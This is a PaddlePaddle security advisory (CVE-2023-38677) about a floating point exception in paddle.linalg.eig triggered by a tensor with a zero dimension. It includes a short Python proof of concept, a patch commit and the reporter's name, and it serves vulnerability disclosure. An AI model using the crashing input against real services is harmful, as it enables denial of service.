Skip to content

Latest commit

 

History

History
31 lines (18 loc) · 855 Bytes

pdsa-2023-009.md

File metadata and controls

31 lines (18 loc) · 855 Bytes

PDSA-2023-009: FPE in paddle.linalg.eig

CVE Number

CVE-2023-38677

Impact

When tensor dims contain 0, paddle.linalg.eig will trigger a float point exception. The PoC is as follows:

import paddle
import numpy as np

x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [3, 6, 0, 2, 2]).astype(np.float32))

paddle.linalg.eig(x)

Patches

We have patched the issue in commit 19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc. The fix will be included in PaddlePaddle 2.6.0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Tong Liu of CAS-IIE.